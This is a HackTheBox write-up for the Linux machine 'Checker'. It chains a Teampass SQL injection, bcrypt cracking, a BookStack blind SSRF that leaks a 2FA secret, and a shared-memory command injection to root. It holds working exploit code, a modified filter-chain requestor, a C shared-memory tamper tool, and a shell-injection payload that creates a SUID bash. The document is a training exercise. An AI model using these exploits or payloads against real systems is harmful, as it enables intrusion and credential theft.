HTB: Checker Writeup

Checker - HackTheBox Writeup

Machine Information

AttributeDetails
NameChecker
OSLinux
DifficultyHard
Points649
Release Date28 May 2025
IP Address10.10.11.56
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Checker is a challenging machine that combines multiple web application vulnerabilities with binary exploitation. The target hosts Teampass (password manager) and BookStack (documentation platform), each with exploitable CVEs. The attack chain begins by exploiting CVE-2023-1545 (SQL injection) in Teampass to extract password hashes, which are then cracked to reveal user credentials. These credentials unlock access to BookStack, where CVE-2023-6199 (blind SSRF via file read) is leveraged to exfiltrate the SSH 2FA secret from an insecurely backed-up file. Once SSH access is obtained, privilege escalation is achieved through reverse engineering the check_leak binary to identify a command injection vulnerability in its SQL query construction, which is then exploited via shared memory manipulation.

TL;DR: Teampass SQLi → crack hashes → BookStack SSRF → leak 2FA secret → SSH access → reverse engineer check_leak binary → shared memory command injection → root.


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=1000 -sC -sV 10.10.11.56

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http Apache httpd
8080/tcp open http Apache httpd

Three open services detected: SSH on port 22, and two HTTP services on ports 80 and 8080.

Service Enumeration

Port 80 - HTTP (Apache):

  • Initial redirect to checker.htb domain
  • Hosts BookStack v23.10.2 (documentation platform)
  • Login page accessible after domain resolution

Port 8080 - HTTP (Apache):

  • Hosts Teampass password manager
  • Web interface for credential management
  • Version appears vulnerable to known exploits

Port 22 - SSH:

  • OpenSSH 8.9p1 on Ubuntu
  • Standard SSH service (to be accessed later)

Vulnerability Assessment

  1. Teampass CVE-2023-1545: SQL injection vulnerability in versions prior to 3.0.0.22 due to insufficient input sanitization
  2. BookStack CVE-2023-6199: Blind SSRF via local file read in /ajax/page/<id>/save-draft endpoint (requires authentication)
  3. check_leak Binary: Command injection through insecure SQL query construction using data from shared memory with world-readable permissions

Initial Foothold

Step 1: Exploit Teampass SQL Injection (CVE-2023-1545)

First, add the domain to your hosts file:

Terminal window
echo "10.10.11.56 checker.htb" | sudo tee -a /etc/hosts

Clone the Teampass CVE-2023-1545 proof-of-concept script:

Terminal window
# Download and execute the PoC
./teampass_cve.sh http://10.10.11.56:8080

Output:

There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

Step 2: Crack the Extracted Hashes

Save the hashes and crack them using Hashcat:

Terminal window
cat > hashes.txt << 'EOF'
$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
EOF
# Crack bcrypt hashes with Hashcat
hashcat -a 0 -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Result:

$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader

The bob user’s password is cheerleader.

Step 3: Login to Teampass and Extract Credentials

Log into Teampass at http://checker.htb:8080 using:

  • Username: bob
  • Password: cheerleader

Navigate to the “bob-access” folder to reveal two credential sets:

BookStack Credentials:

Email: bob@checker.htb
Password: mYSeCr3T_w1kI_P4sSw0rD

SSH Credentials:

Username: reader
Password: hiccup-publicly-genesis

Step 4: Exploit BookStack SSRF (CVE-2023-6199)

Clone the PHP filter chains oracle exploit:

Terminal window
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git
cd php_filter_chains_oracle_exploit

Modify requestor.py to properly encode the filter chain. Update the req_with_response method:

import base64
def req_with_response(self, s):
if self.delay > 0:
time.sleep(self.delay)
filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
# Base64 encode the filter chain
encoded_filter = base64.b64encode(filter_chain.encode('ascii')).decode('ascii')
final_payload = "<img+src='data:image/png;base64,"+encoded_filter+"'/>"
merged_data = self.parse_parameter(final_payload)
try:
if self.verb == Verb.PUT:
requ = self.session.put(self.target, data='&'.join(f'{k}={v}' for k, v in merged_data.items()))
return requ
# ... other verb handlers
except requests.exceptions.ConnectionError:
print("[-] Could not instantiate a connection")
exit(1)

Log into BookStack with bob’s credentials and create a new page. Intercept the auto-save request in Burp Suite to capture the endpoint, CSRF token, and session cookie.

Step 5: Retrieve the 2FA Secret

Execute the exploit to read the leaked backup:

Terminal window
python3 filters_chain_oracle_exploit.py \
--target http://checker.htb/ajax/page/9/save-draft \
--file '/backup/home_backup/home/reader/.google_authenticator' \
--verb PUT \
--parameter html \
--headers '{"X-CSRF-TOKEN":"<your-token>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<your-session>"}'

Output (base64 decoded):

DVDBRAODLCWF7I2ONA4K5LQLUE
" TOTP_AUTH

The 2FA secret is: DVDBRAODLCWF7I2ONA4K5LQLUE

Step 6: Generate OTP and SSH Login

Generate the TOTP code using oathtool:

Terminal window
oathtool --totp -b DVDBRAODLCWF7I2ONA4K5LQLUE

Log in via SSH with the credentials and OTP:

Terminal window
ssh reader@checker.htb
# Password: hiccup-publicly-genesis
# Verification code: <generated-otp>

Retrieve the user flag:

Terminal window
cat /home/reader/user.txt

Privilege Escalation

Step 1: Identify Sudo Permissions

Check what commands can be run as root:

Terminal window
sudo -l

Output:

User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

Step 2: Analyze the Vulnerable Script

Examine the check-leak.sh script:

Terminal window
cat /opt/hash-checker/check-leak.sh

Contents:

#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

The script calls a compiled binary check_leak with the sanitized username.

Step 3: Transfer and Reverse Engineer the Binary

Start an HTTP server on the target:

Terminal window
python3 -m http.server 9001

Download the binary on your attack machine:

Terminal window
wget checker.htb:9001/check_leak

Use Ghidra to decompile and analyze the binary. Key findings:

  • The binary queries a database for the user’s password hash
  • If the hash is found in /opt/hash-checker/leaked_hashes.txt, it writes to shared memory with insecure permissions (0666)
  • The message format is: Leaked hash detected at <TIME> > <HASH>
  • It then extracts the hash and uses it in an unquoted SQL query: mysql ... where pw = "<HASH>"

Step 4: Identify the Command Injection Point

The vulnerable code constructs a MySQL query without proper escaping:

snprintf(..., "mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'", ...)

Since the hash is read from world-writable shared memory, we can inject SQL/shell commands.

Step 5: Create the Exploit

Create a C program to manipulate the shared memory and inject a malicious payload:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#define SHM_MODE 0666
void append_to_leaked_hash(char *shm_ptr, const char *malicious_string) {
char *line = strtok(shm_ptr, "\n");
while (line != NULL) {
if (strstr(line, "Leaked hash detected") != NULL) {
strcat(line, malicious_string);
break;
}
line = strtok(NULL, "\n");
}
}
int main(int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <malicious_string>\n", argv[0]);
return 1;
}
char shm_key_str[2048] = "";
char line[512];
while (fgets(line, sizeof(line), stdin)) {
strncat(shm_key_str, line, sizeof(shm_key_str) - strlen(shm_key_str) - 1);
if (strstr(line, "Using the shared memory") != NULL) {
break;
}
}
char *start = strstr(shm_key_str, "Using the shared memory ");
if (start) {
start += strlen("Using the shared memory ");
char *end = strstr(start, " as temp location");
if (end) {
*end = '\0';
}
printf("Extracted Hex Key: %s\n", start);
key_t shm_key = (key_t)strtol(start, NULL, 16);
int shmid = shmget(shm_key, 0, SHM_MODE);
if (shmid == -1) {
perror("shmget");
return 1;
}
char *shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (char *)-1) {
perror("shmat");
exit(1);
}
const char *malicious_string = argv[1];
append_to_leaked_hash(shmaddr, malicious_string);
printf("Updated Shared Memory Data:\n%s\n", shmaddr);
if (shmdt(shmaddr) == -1) {
perror("shmdt");
exit(1);
}
}
return 0;
}

Compile the exploit:

Terminal window
gcc -o exploit exploit.c

Step 6: Execute the Exploit

Open two SSH sessions as the reader user.

Terminal 1: Run the check-leak script for bob (whose hash is leaked) and pipe output:

Terminal window
sudo /opt/hash-checker/check-leak.sh bob > pipe

Terminal 2: Execute the exploit with a command injection payload. This payload copies bash to the home directory with the SUID bit set:

Terminal window
cat pipe | ./exploit '" or 1=1; \! /bin/sh -c "cp /bin/bash /home/reader/.bash && chmod 4755 /home/reader/.bash"; #'

Output confirms successful injection:

Extracted Hex Key: 0x31789
Updated Shared Memory Data:
Leaked hash detected at Sat May 24 05:00:19 2025 >
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy" or 1=1; \! /bin/sh -c "cp /bin/bash /home/reader/.bash && chmod 4755 /home/reader/.bash"; #

Step 7: Gain Root Shell

Verify the SUID bash binary was created:

Terminal window
ls -al /home/reader/.bash

Output:

-rwsr-xr-x 1 root root 1396520 May 31 05:00 /home/reader/.bash

Execute the SUID bash to gain root privileges:

Terminal window
/home/reader/.bash -p

Retrieve the root flag:

Terminal window
cat /root/root.txt

Attack Chain Summary

Teampass CVE-2023-1545 (SQLi)
Extract & crack password hashes
Obtain bob's credentials (cheerleader)
Login to Teampass
Extract BookStack & SSH credentials
BookStack CVE-2023-6199 (Blind SSRF)
Exfiltrate 2FA secret from backup
Generate TOTP & SSH login as reader
Reverse engineer check_leak binary
Identify command injection via shared memory
Exploit via malicious SQL query
Create SUID bash shell
Root access

Tools Used

ToolPurpose
nmapPort and service enumeration
hashcatBcrypt hash cracking
oathtoolTOTP generation
GhidraBinary reverse engineering
Burp SuiteHTTP request interception
php_filter_chains_oracle_exploitBlind SSRF exploitation
gccC program compilation
Custom C exploitShared memory manipulation

Key Learnings

Techniques Practiced

  • SQL Injection: Exploiting insufficient input sanitization in Teampass to extract user credentials
  • Hash Cracking: Using Hashcat to crack bcrypt hashes with dictionary attacks
  • Blind SSRF: Leveraging file read vulnerabilities in BookStack via PHP filter chains and oracle techniques
  • TOTP Implementation: Understanding time-based one-time password generation for 2FA bypass
  • Binary Reverse Engineering: Using Ghidra to decompile and analyze compiled binaries for vulnerabilities
  • Shared Memory Exploitation: Identifying world-readable/writable shared memory as an attack vector
  • Command Injection: Crafting SQL queries with shell metacharacters to achieve code execution
  • Privilege Escalation: Leveraging SUID binaries created through command injection for root access

Lessons Learned

  1. Defense in Depth Matters: This machine demonstrates how multiple vulnerabilities in different services can chain together. Securing one application doesn’t guarantee overall system safety.

  2. Input Sanitization is Critical: Both Teampass and the check_leak binary suffered from inadequate input validation, leading to SQLi and command injection respectively.

  3. Backup Security is Often Overlooked: The insecurely backed-up 2FA secret (with world-readable permissions) was a critical vulnerability that shouldn’t exist in production.

  4. Shared Memory Permissions: Setting world-writable permissions (0666) on shared memory segments is extremely dangerous and should be avoided in favor of restrictive permissions.

  5. Query Parameterization: The check_leak binary’s use of string concatenation in SQL queries instead of parameterized queries directly enabled the injection attack.

  6. SUID Binaries Are Powerful: Even seemingly mundane applications become critical security boundaries when executed with elevated privileges; their code must be thoroughly vetted.

  7. Multi-Stage Exploitation: Real-world attacks often require chaining multiple vulnerabilities across different systems. A single weakness may not be exploitable in isolation.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>